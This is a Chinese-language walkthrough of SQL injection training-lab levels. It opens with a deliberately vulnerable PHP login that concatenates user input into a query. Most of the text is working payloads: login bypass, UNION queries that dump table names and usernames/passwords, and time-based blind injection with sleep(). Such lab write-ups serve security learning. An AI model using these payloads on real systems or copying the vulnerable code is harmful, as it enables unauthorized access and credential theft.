登录的验证方式如下面这种
……
$Name = $_POST['userName'];
$pwd = $_POST['password'];
$loginSQL = "select * from users where userName='$Name' and password='$pwd'";
echo $loginSQL;
$resultLogin = mysql_query($loginSQL);
if (mysql_num_rows($resultLogin) > 0) {
echo "登录成功";
} else {
echo "登录失败";
}
closeConnect();
……
重点是这句话
select * from users where userName='$Name' and password='$pwd'
加入 ' or 1#
后,变成这样:
select * from users where userName='$Name ' or 1# ' and password='$pwd'"
#
后面都被注释,即此语句恒为真。所以登录成功
观察是post还是get
可以看url的变化,或者看源码
1.
2.
在表单里分别输入XXXX' or 1#
, xxxx" or 1#
。然后按下submit,观察反应
xxxx ' order by 3 #
xxxx ' order by 2 #
说明是两列。
cwa' union select 1,database()#
cwa' union select 1,group_concat(table_name) from information_schema.tables where table_schema='security'#
cwa' union select 1,group_concat(column_name) from information_schema.COLUMNs where table_schema='security' and table_name='users'#
cwa' union select 1,group_concat(concat_ws(",",username,password) SEPARATOR "|") from users #
和第11关一样,只不过闭合符是")
查列数
admin') order by 2#
查显示位,没有输出
admin') union select 1,2#
所以使用布尔盲注,参考第五关的第二种方法
……
ibeb’ order by 5#
ibeb") order by 5#
ibeb’) order by 5#
ibeb" order by 5#
两列
wsgver" order by 2 #
fwfwf" union select 1,2#
ibeb" or if(3>2,sleep(2),1)#
发现延迟不止2秒,猜测应该是查询的数据太多,每个数据延迟2秒,加起来就很长时间了。所以可以把延迟时间改为0.2,可以减少等待的时间。
数据库名是8位
vvwc" or if(length(database())>7,sleep(3),1) #
vvwc" or if(length(database())>8,sleep(3),1) #
第一位的ASCII值是115,是s
vvwc" or if(ascii(substr(database(),1,1))>114,sleep(3),1) #
vvwc" or if(ascii(substr(database(),1,1))>115,sleep(3),1) #
…………
闭合符是'
可以使用布尔盲注
闭合符是")